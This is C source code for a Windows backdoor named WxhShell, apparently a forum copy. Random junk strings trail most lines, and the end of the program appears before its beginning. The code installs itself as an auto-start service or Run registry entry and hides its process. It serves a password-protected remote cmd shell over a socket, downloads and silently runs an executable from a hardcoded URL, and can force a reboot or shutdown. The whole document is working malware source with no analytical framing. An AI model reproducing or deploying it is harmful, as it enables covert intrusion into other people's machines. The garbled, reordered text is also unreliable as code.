    if(Boot(SHUTDOWN)) 1P5LH 5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !J# .!}3  
    else { /2w@ K_Px6  
    closesocket(wsh); BI/y<6#rR  
    ExitThread(0); ~gt3Omh  
    } +qE']yzm!  
    break; Bcaw~WD  
    } bF6gBM@*  
  // 获取shell plku-O;]  
  case 's': { dQ6GhS ~  
    CmdShell(wsh); aL )Hv k:  
    closesocket(wsh); |Ylg$?,9*  
    ExitThread(0); YN^jm  
    break; oFyeH )!  
  } P`2&*2,  
  // 退出 >EBC 2WJ  
  case 'x': { Xiju"Cup"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gb_X?j%p7  
    CloseIt(wsh); ADBpX>  
    break; 41 'EA \V  
    } eBvW#Hzp  
  // 离开 kH2oK:lN  
  case 'q': { m<FK;   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [d:@1yc  
    closesocket(wsh); 4WG=m}X  
    WSACleanup(); nP u`;no  
    exit(1); =c]a {|W?  
    break; H5p5S\g-)  
        } \\s?B K  
  } =h[yA f  
  } @YB85p"]J.  
~,Mr0  
  // 提示信息 xppkLoPK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A^vvST%7  
} u*k*yWdr  
  } =LqL@5Xr  
J";=d4Sd  
  return; _#(s2.h~J  
} Y eO-gY [b  
>]?Jrs  
// shell模块句柄 U#"WrWj  
int CmdShell(SOCKET sock) g-eq&#  
{ T0?uC/7H  
STARTUPINFO si; nrbazyKm  
ZeroMemory(&si,sizeof(si)); 2:~cJk{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /=ACdJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3.~h6r5-  
PROCESS_INFORMATION ProcessInfo; 9 P~d:'Ib  
char cmdline[]="cmd"; xH@'H?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tx)OJY  
  return 0; #{~7G%GPY5  
} |Cq8%  
;%!tf{Si  
// 自身启动模式 $2is3;h  
int StartFromService(void) \ %_)_"Q  
{ 4JSZ0:O  
typedef struct Kt6C43]7  
{ #~*XDWvIS~  
  DWORD ExitStatus; T NIst  
  DWORD PebBaseAddress; |Z!@'YB  
  DWORD AffinityMask; :@;6  
  DWORD BasePriority; IO6MK&R  
  ULONG UniqueProcessId; #AvEH=:  
  ULONG InheritedFromUniqueProcessId; %A=|'6)k2  
}   PROCESS_BASIC_INFORMATION; QSv^l-<  
lT3|D?sF  
PROCNTQSIP NtQueryInformationProcess; 5Abz 5-^KH  
l\Cu1r-z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /khnl9~+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uYabJqV  
]'6'<S  
  HANDLE             hProcess;  kMqD iJ  
  PROCESS_BASIC_INFORMATION pbi; H8sK}1.  
,b4~!V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MyqiBGTb  
  if(NULL == hInst ) return 0; XUf7yD  
mDlCt_h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W0U`Kt&~a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /t$*W\PL@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KZZOi:  
bu_/R~&3{  
  if (!NtQueryInformationProcess) return 0; YV4 : 8At1  
MN\i-vAL8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Dl&PL  
  if(!hProcess) return 0; x g{VP7  
f~U#z7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G~`'E&/  
f%L:<4  
  CloseHandle(hProcess);  c,.0d  
l$=Gvb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gh'kUZG a  
if(hProcess==NULL) return 0; LH,]vuXh  
Z~:/#?/  
HMODULE hMod; p8$\uo9YQ  
char procName[255]; P:>'   
unsigned long cbNeeded; {[my"n 2  
CH55K[{<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Imke/ =h  
k"5`:qL  
  CloseHandle(hProcess); \ hrBq^I  
gO9'q='5l  
if(strstr(procName,"services")) return 1; // 以服务启动 u/;_?zI  
cl@kRX<7'  
  return 0; // 注册表启动 FoQ?U=er  
} 4v0dd p  
F9v)R #u~  
// 主模块 "OVi /:*B  
int StartWxhshell(LPSTR lpCmdLine) 0 -!?W  
{ ^M [#^wv,  
  SOCKET wsl; =A$Lgk>|  
BOOL val=TRUE; GA(OK-WUd  
  int port=0; 4P`PmQ=GQh  
  struct sockaddr_in door; v^<<[I2 C  
i0VhG :O;  
  if(wscfg.ws_autoins) Install(); #dHr&1(  
$  9S>I'  
port=atoi(lpCmdLine); tN[St  
/L)?> tg  
if(port<=0) port=wscfg.ws_port; qwL 0~I  
Nz3zsP$  
  WSADATA data; sWp{Y.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f%vHx,  
l#tS.+B7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "L ^TT2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0W;q!H[G  
  door.sin_family = AF_INET; *iPs4Es-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j~X j  
  door.sin_port = htons(port); 6.k^m&-A  
-6AOK<kfI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9cl{hdP{  
closesocket(wsl); Z@<q/2).|  
return 1; an-\k*w  
} [t {vYo  
_e;N'DZ  
  if(listen(wsl,2) == INVALID_SOCKET) { O\LjtMF  
closesocket(wsl); !1D%-=dWX  
return 1; FAH[5VD r%  
} yW%&_s0  
  Wxhshell(wsl); >oVc5}  
  WSACleanup(); zC<'fT/rG  
M|1eqR%x-?  
return 0; N5[_a/  
&*X3c h  
} (PRaiE  
s4!|v`+$M  
// 以NT服务方式启动 H?rSP0.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cZPbD;e:  
{ cjCE3V9X  
DWORD   status = 0; zG& WWc`K  
  DWORD   specificError = 0xfffffff; ztRWIkI q  
rd|@*^k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bv.EM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ON:LPf>"-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8yY"x ['  
  serviceStatus.dwWin32ExitCode     = 0; ; :v]NZtc  
  serviceStatus.dwServiceSpecificExitCode = 0; |U8>:DEl  
  serviceStatus.dwCheckPoint       = 0; 6lB{Ao?|  
  serviceStatus.dwWaitHint       = 0; {KF7j63  
nL 1IS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .t"n]X i  
  if (hServiceStatusHandle==0) return; >l7eoj  
P&qy.0  
status = GetLastError(); \DG( 8l  
  if (status!=NO_ERROR) Yt\E/*%  
{ YR$tPe  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .d<~a1k  
    serviceStatus.dwCheckPoint       = 0; ^hQ:A4@q  
    serviceStatus.dwWaitHint       = 0; s4\SX,  
    serviceStatus.dwWin32ExitCode     = status; QT7w::ht  
    serviceStatus.dwServiceSpecificExitCode = specificError; [X0k{FR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jEC'l]l  
    return; TKj/6Jz|  
  } u i s:\Uc  
},?-$eyX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7H8GkuO  
  serviceStatus.dwCheckPoint       = 0; 44Seq  
  serviceStatus.dwWaitHint       = 0; Y!K^-Y}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9+WY@du+  
} *Y| lO  
34&u]4=L)  
// 处理NT服务事件,比如:启动、停止 #o(?g-3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *!-}lc^4  
{ fJSV)\e0  
switch(fdwControl) fS;m+D!j@  
{ ?^e*UJNM  
case SERVICE_CONTROL_STOP:  e B9m4  
  serviceStatus.dwWin32ExitCode = 0; ;XD>$t@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IqR[&T)lj  
  serviceStatus.dwCheckPoint   = 0; :X1`wBu  
  serviceStatus.dwWaitHint     = 0; xEd#~`Jmr  
  { mI{CM: :  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .#:@cP~v  
  } Zq2H9^![y~  
  return; g7E`;&f  
case SERVICE_CONTROL_PAUSE: rRF+\cP?.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E-*>f"<h  
  break; #R"9)vHp  
case SERVICE_CONTROL_CONTINUE: ]5qjK~,4b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IdN%f]=/  
  break; ":(Cpf0  
case SERVICE_CONTROL_INTERROGATE: UcKWa>:Fi  
  break; HnH2u;  
}; BMtYM{S6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QrrZF.  
} >o=axZNa  
8yJk81 gY  
// 标准应用程序主函数 ;n:H6cp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +#i,87  
{ il`C,CD  
YQfZiz}Fv  
// 获取操作系统版本 g*"J10hyP  
OsIsNt=GetOsVer(); y$;zTH_6j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j,gM+4V^  
DcFV^8O&  
  // 从命令行安装 .q'FSEkMJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); uMq\];7I  
6 ^6uK  
  // 下载执行文件 {kY`X[fvZ  
if(wscfg.ws_downexe) { !T&u2=`D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _3FMQY(  
  WinExec(wscfg.ws_filenam,SW_HIDE); V.E.~<7D\  
} Q xj|lr  
//4p1^%  
if(!OsIsNt) { T8M[eSbZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 5BGv^Qb_2  
HideProc(); <try%p|f  
StartWxhshell(lpCmdLine); hH|XtQ.n^  
} s]V{}bY`  
else s>"WQ|;6  
  if(StartFromService()) <)0LwkFtB  
  // 以服务方式启动 u+, jAkr  
  StartServiceCtrlDispatcher(DispatchTable); fR{WS:Pv  
else ":ws~Zep  
  // 普通方式启动 *Kp ^al  
  StartWxhshell(lpCmdLine); <T=o]M$  
Di5Op(S((  
return 0; 37<GG)  
} /fcwz5~  
#!F8n`C-  
'KN!m| z  
X  f'  
=========================================== z;@S_0M,Z  
@?($j)9}  
3`C3+  
Ov{B-zCA  
J3!k*"P  
G@l|u  
" vr]dRStr  
5"Xo R)  
#include <stdio.h> 6b1 Uj<  
#include <string.h> rqG6Ll`=+  
#include <windows.h> 7zOvoQ}  
#include <winsock2.h> U]R|ej  
#include <winsvc.h> >=RHE@  
#include <urlmon.h> Snvj9Nr  
qgY(S}V  
#pragma comment (lib, "Ws2_32.lib") :fMM-?s]  
#pragma comment (lib, "urlmon.lib") W0C$*oe!_i  
^LAS9K1.  
#define MAX_USER   100 // 最大客户端连接数 &opH\wa  
#define BUF_SOCK   200 // sock buffer BM}a?nnoc  
#define KEY_BUFF   255 // 输入 buffer t3h \.(mq  
!un"XI0`t<  
#define REBOOT     0   // 重启 hJtghG6v  
#define SHUTDOWN   1   // 关机 epm8N /  
l.t.,:  
#define DEF_PORT   5000 // 监听端口 JjL0/&  
61 HqBa  
#define REG_LEN     16   // 注册表键长度 =F; ^^VX  
#define SVC_LEN     80   // NT服务名长度 7[VCCI g  
!&<Wc^PG  
// 从dll定义API F^[Rwzv>c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ub-k<]yZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9R<J$e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,HjHt\!~<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /)HEx&SQmZ  
^SES')x  
// wxhshell配置信息 m]b.P,~v  
struct WSCFG { jl|X$w  
  int ws_port;         // 监听端口 i =+<7]Q  
  char ws_passstr[REG_LEN]; // 口令 9= ;g4I  
  int ws_autoins;       // 安装标记, 1=yes 0=no P|QnZ){  
  char ws_regname[REG_LEN]; // 注册表键名 YJ;a{)e  
  char ws_svcname[REG_LEN]; // 服务名 _a02#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "q#g/T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X$Qi[=L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vzQmijr-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Lw78v@dY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dYttse'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'Y/V9;`)s  
O"w_sw  
}; MDXQj5s^  
` G/QJH{I  
// default Wxhshell configuration Vf* B1Zb  
struct WSCFG wscfg={DEF_PORT, ]4pC\0c  
    "xuhuanlingzhe", Y K62#;  
    1, kKTED1MW&W  
    "Wxhshell", r4qV}-E  
    "Wxhshell", ^*T{-U'  
            "WxhShell Service", B=qRZA!DQ?  
    "Wrsky Windows CmdShell Service", AF nl t  
    "Please Input Your Password: ", w+ )GM  
  1, [}B{e=`!  
  "http://www.wrsky.com/wxhshell.exe", {`SGB;ho  
  "Wxhshell.exe" z j0pP{y  
    }; D"><S<C\C  
&rE l  
// 消息定义模块 X\:(8C;+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3R96;d;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dXSb%ho  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2T?1X{g  
char *msg_ws_ext="\n\rExit."; Vam8NnZ|r  
char *msg_ws_end="\n\rQuit."; 0Nzv@g{3  
char *msg_ws_boot="\n\rReboot..."; .*..pf|/  
char *msg_ws_poff="\n\rShutdown..."; ?J1&,'&  
char *msg_ws_down="\n\rSave to "; Le+8s LE`Y  
+]2~@=<@  
char *msg_ws_err="\n\rErr!"; o]k]pNO  
char *msg_ws_ok="\n\rOK!"; 4zvU"np  
F;l<>|vG  
char ExeFile[MAX_PATH]; 9n2%7dLQ*  
int nUser = 0; %.  }  
HANDLE handles[MAX_USER]; Z)>a6s$ih<  
int OsIsNt; q+=@kXs>+  
[ Sa C  
SERVICE_STATUS       serviceStatus; 5s2}nIe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HGMH g  
yH0ZSv  
// 函数声明 'g, x}6  
int Install(void); ]$%4;o4O  
int Uninstall(void); gf8U &;  
int DownloadFile(char *sURL, SOCKET wsh); P bC>v  
int Boot(int flag); }Z%{QJ$z  
void HideProc(void); YV+dUvz  
int GetOsVer(void); -"b3q  
int Wxhshell(SOCKET wsl); )1'_g4  
void TalkWithClient(void *cs); T_ #oMXZ/  
int CmdShell(SOCKET sock); ."g5+xX  
int StartFromService(void); ;-wPXXR  
int StartWxhshell(LPSTR lpCmdLine); I>\?t4t  
Tp.iRFFkP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dQoMAsxzM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |L#r)$n{1  
6aK2 {-+  
// 数据结构和表定义 `9NnL.w!  
SERVICE_TABLE_ENTRY DispatchTable[] = k:yu2dQh  
{ mAERZ<I  
{wscfg.ws_svcname, NTServiceMain}, {dH<Un(4Z  
{NULL, NULL} Z4tq&^ :c=  
}; Q/SC7R&"t  
3S21DC@Y  
// 自我安装 xVo)!83+Q  
int Install(void) [Cr~gd+ q  
{ ^qy-el  
  char svExeFile[MAX_PATH]; _A~gqOe  
  HKEY key; E^ti !4{<  
  strcpy(svExeFile,ExeFile); \?I wR]@y  
\X p"I5  
// 如果是win9x系统,修改注册表设为自启动 {N`<e>A]{  
if(!OsIsNt) { +=xRr?F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 69w"$V k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [wxI X  
  RegCloseKey(key); ;'+cT.cmH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z-E4-\a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^vz@d+\Kd  
  RegCloseKey(key); Z-V%lRQ=b  
  return 0; LR.+C xQ  
    } u 9Tl Xn  
  } #.xTAvD  
} ~#Mx&mZ  
else { U~c;W@T  
xL"o)]a=  
// 如果是NT以上系统,安装为系统服务 nlnJJM&J $  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S}I=i>QB  
if (schSCManager!=0) hS/'b$#  
{ !~kzxY  
  SC_HANDLE schService = CreateService $S("- 3  
  ( =f|a?j,f~  
  schSCManager, n#,l&Bx  
  wscfg.ws_svcname, CplRnKra  
  wscfg.ws_svcdisp, CR=MjmH  
  SERVICE_ALL_ACCESS, %P6!vx:&^b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pZn%g]nRD  
  SERVICE_AUTO_START, _ h-X-s Y  
  SERVICE_ERROR_NORMAL, HK.J/Zr  
  svExeFile, H!=BjU1Pmg  
  NULL, jg/<"/E  
  NULL, .k(_ j.v  
  NULL, md s\~l73  
  NULL, `v er "s;  
  NULL ?5gpk1  
  ); EF~PM  
  if (schService!=0) pdu  
  { w\4m -Z{  
  CloseServiceHandle(schService); !X_~|5.  
  CloseServiceHandle(schSCManager); e@By@r&nql  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %j; cXN  
  strcat(svExeFile,wscfg.ws_svcname); G-<~I#k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aC` c^'5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); boon =;{p  
  RegCloseKey(key); PTqS L]  
  return 0; TR20{8"  
    } 8B9zo&  
  } 4Fq}*QJ-  
  CloseServiceHandle(schSCManager); 3I(M<sB}  
} n-Y'LK40Os  
} 0&~u0B{  
SsZzYj.d  
return 1; -/?<@*n  
} '_Oprx  
5w9<_W0d  
// 自我卸载 'h=2_%l@Y  
int Uninstall(void) R MXj)~4.  
{ mAa]E t.  
  HKEY key; kMXl {  
s9>!^MzBK  
if(!OsIsNt) { S#dS5OX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W@=ilW3RD  
  RegDeleteValue(key,wscfg.ws_regname); t T:yvU@a  
  RegCloseKey(key); U @|_5[nl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .|-y+9IP  
  RegDeleteValue(key,wscfg.ws_regname); .IU+4ENSy4  
  RegCloseKey(key); ] ={Hq9d@  
  return 0; cGKk2'v?  
  } 4N&}hOM'S  
} ?CDq^)T[  
} q4oZJ-`  
else { i2E7$[  
e+TNG &_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5c8x: e@  
if (schSCManager!=0) N 5DS-gv  
{ Po3W+; @  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 70eN]OY  
  if (schService!=0) wxxC&!  
  { F^-4Pyq@  
  if(DeleteService(schService)!=0) { ":ycyN@g  
  CloseServiceHandle(schService); 79_MP  
  CloseServiceHandle(schSCManager); {{\HU0g>&  
  return 0; Z%R^;8!~  
  } Dl{Pd`D  
  CloseServiceHandle(schService); ,d#4Ib  
  } cALs;)z  
  CloseServiceHandle(schSCManager); %s>E@[s  
} +fN0> @s  
} KMZ`Wn=  
rf@81Ds  
return 1; |*i-Q @ D  
} WW=7QC i  
@$]h[   
// 从指定url下载文件 S8l+WF4q  
int DownloadFile(char *sURL, SOCKET wsh) M;R>]wP"V  
{ Tx_ LH"8  
  HRESULT hr; 7Z_iQ1  
char seps[]= "/"; oLoa71Q}  
char *token; 0P42C{>'w  
char *file; 5]E5V@C   
char myURL[MAX_PATH]; ?$Pj[O^hl  
char myFILE[MAX_PATH]; ~m7+^c@,  
vNIQc "\-  
strcpy(myURL,sURL); 26A#X  
  token=strtok(myURL,seps); R#>E{[9  
  while(token!=NULL) "5Mo%cUp  
  { z~qQ@u|  
    file=token; Qw:j2g2H7  
  token=strtok(NULL,seps); Alz#zBGb  
  } ff0,K#-  
syF/jWM5  
GetCurrentDirectory(MAX_PATH,myFILE); (!s[~O6  
strcat(myFILE, "\\"); G`jhzG  
strcat(myFILE, file); i{2KMa{K  
  send(wsh,myFILE,strlen(myFILE),0); P;34Rd  
send(wsh,"...",3,0); YQ/ *|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K4"as9oFP  
  if(hr==S_OK) }O/Nn0,  
return 0; {8Ll\j@ "  
else V|= 1<v  
return 1; .;'xm_Gw<  
S(pfd2^  
} F+GQl  
<S qbj;  
// 系统电源模块 .JE7vPv%!  
int Boot(int flag) rYl37.QE  
{ !wgj$5Rw.  
  HANDLE hToken; )'JSu=Ej  
  TOKEN_PRIVILEGES tkp; 6x0>E^~  
hjE9[{K  
  if(OsIsNt) { 9pXFC9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dU,/!|.K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qF ?S[Z;  
    tkp.PrivilegeCount = 1; < qBPN{'a"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dZ*o H#B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LBg#KQ @  
if(flag==REBOOT) { ee0J;pP2#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ="`y<J P  
  return 0; X^ovP'c2  
} VaB7)r  
else { [kCn6\_<V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2rxdRg'YLQ  
  return 0; z,)Fvs4U.  
} m#Cp.|>kP4  
  } *;Vq0a!  
  else { 2.6,c$2tB  
if(flag==REBOOT) { cMj<k8.{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x\*5A,w{c]  
  return 0; O1 z>A  
} *jYwcW"R{z  
else { -&c@c@dC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {PU[MHZF  
  return 0; k@w&$M{tPF  
} E^g6,Y:i9  
} #\}hN~@F  
X_h+\ 7N>  
return 1; 1||e !W  
} V1ug.Jv^  
@wo9;DW`  
// win9x进程隐藏模块 &c]x;#-y  
void HideProc(void) _u>+H#  
{ 8)i\d`  
,"D1!0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X **w RF  
  if ( hKernel != NULL ) R{T4AZ@,'  
  { .m<-)Kx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M?,;TJ7Gd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KT3[{lr  
    FreeLibrary(hKernel); 0xC!d-VIJ  
  } dWI\VS9  
w(vf>L6(  
return; {S|uQgs6j  
} 2uB.0  
`p!.K9r7   
// 获取操作系统版本 4o%hH  
int GetOsVer(void) ^#G>P0mG%  
{  (vY10W{  
  OSVERSIONINFO winfo; L9x,G!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F*a+&% Q  
  GetVersionEx(&winfo); t<e?f{Q5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s#4 "f  
  return 1; V@$B>HeK  
  else u", [ulP  
  return 0; KmMt:^9  
} 8J)x>6  
O". #B  
// 客户端句柄模块 S`NH6?/uH  
int Wxhshell(SOCKET wsl) ~sM334sQ  
{ zNB G;\ W  
  SOCKET wsh; &B))3WFy  
  struct sockaddr_in client; UPbG_ #"wZ  
  DWORD myID; 2+|[e_  
6ds&n#n  
  while(nUser<MAX_USER) V482V#BP  
{ QII>XJ9  
  int nSize=sizeof(client); 5 bgx;z9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l!`m}$  
  if(wsh==INVALID_SOCKET) return 1; c0tv!PSw  
uz%rWN`{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A0'Yfuie  
if(handles[nUser]==0) b+{yF  
  closesocket(wsh); c^m}ep\F5L  
else `/0FXb 8h  
  nUser++; tf>?;  
  } ](%-5G1<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r1,RloyZS  
V;>p@uE,P  
  return 0; `LNRl'Z m  
} 9X!OQxmg  
$PNR?  
// 关闭 socket Wt_@ vs@.O  
void CloseIt(SOCKET wsh) {Bu^%JEn  
{ >ztv3^w  
closesocket(wsh); e\\ I,  
nUser--; uYV# '%  
ExitThread(0); ).k=[@@V  
} _m;Y'  
 M*%iMz  
// 客户端请求句柄 63ht|$G  
void TalkWithClient(void *cs) @*F NWT6  
{ `?~pk)<C].  
{AJs pLcG  
  SOCKET wsh=(SOCKET)cs; {"O'kx  
  char pwd[SVC_LEN]; si)920?E&  
  char cmd[KEY_BUFF]; '#^ONnSTn  
char chr[1]; ~]}7|VN.}  
int i,j; ny{|{ a  
qRTy}FU1  
  while (nUser < MAX_USER) { uZi]$/ic  
)bqO}_B  
if(wscfg.ws_passstr) { Dk/;`sXV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7 v#sr<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #p0vrQ;5f  
  //ZeroMemory(pwd,KEY_BUFF); I:[3x2H  
      i=0; o4tQ9X=}  
  while(i<SVC_LEN) { eqYa`h@g^  
|[C3_'X  
  // 设置超时 IEHAPt'  
  fd_set FdRead; z0a=A:+/  
  struct timeval TimeOut; F $B _;G  
  FD_ZERO(&FdRead); =! /S |  
  FD_SET(wsh,&FdRead); Fj|C+;Q.  
  TimeOut.tv_sec=8; h%pgdix  
  TimeOut.tv_usec=0; i{xgygp6f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _bu, 1EM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jeC3}BL }  
DjtUX>e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vTN$SgzfCU  
  pwd=chr[0]; 8IbHDDS  
  if(chr[0]==0xd || chr[0]==0xa) { _r&`[@m  
  pwd=0; v 6Tz7  
  break; !\2Xr{f  
  } tyNT1F{  
  i++; 7@5}WNr  
    } 9tWu>keu  
iq=<LOx  
  // 如果是非法用户,关闭 socket ;i>|5tEy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *JUP~/Nr  
} ?(4 =:o  
Js ~_8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qf7 lQovK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o{lR_  
g7rn|<6FI  
while(1) { z\{y[3-  
*#w+*ywVZH  
  ZeroMemory(cmd,KEY_BUFF); C8%q?.nH=  
Ak^g#^c*  
      // 自动支持客户端 telnet标准   GeD^-.^  
  j=0; b+9M? k"  
  while(j<KEY_BUFF) { I 4 ,C-D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L slI!.(  
  cmd[j]=chr[0]; :[?hU}9  
  if(chr[0]==0xa || chr[0]==0xd) { a)/!ifJ;  
  cmd[j]=0; QJjqtOf>  
  break; h%9#~gJ})  
  } Hcq?7_)  
  j++; l`4hWs\I  
    } a"4j9cO  
+QGZ2_vW  
  // 下载文件 2c LIz@  
  if(strstr(cmd,"http://")) { R#DnV[!\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U@ Y0 z.Y  
  if(DownloadFile(cmd,wsh)) 7='lu;=,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M3!A?!BU  
  else |9Q4VY'";  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }vgeQh-G  
  } +`>Tuz~  
  else { [W;iR_7T5  
>|'u:`A  
    switch(cmd[0]) { W_8N?coM  
  w3WBgH  
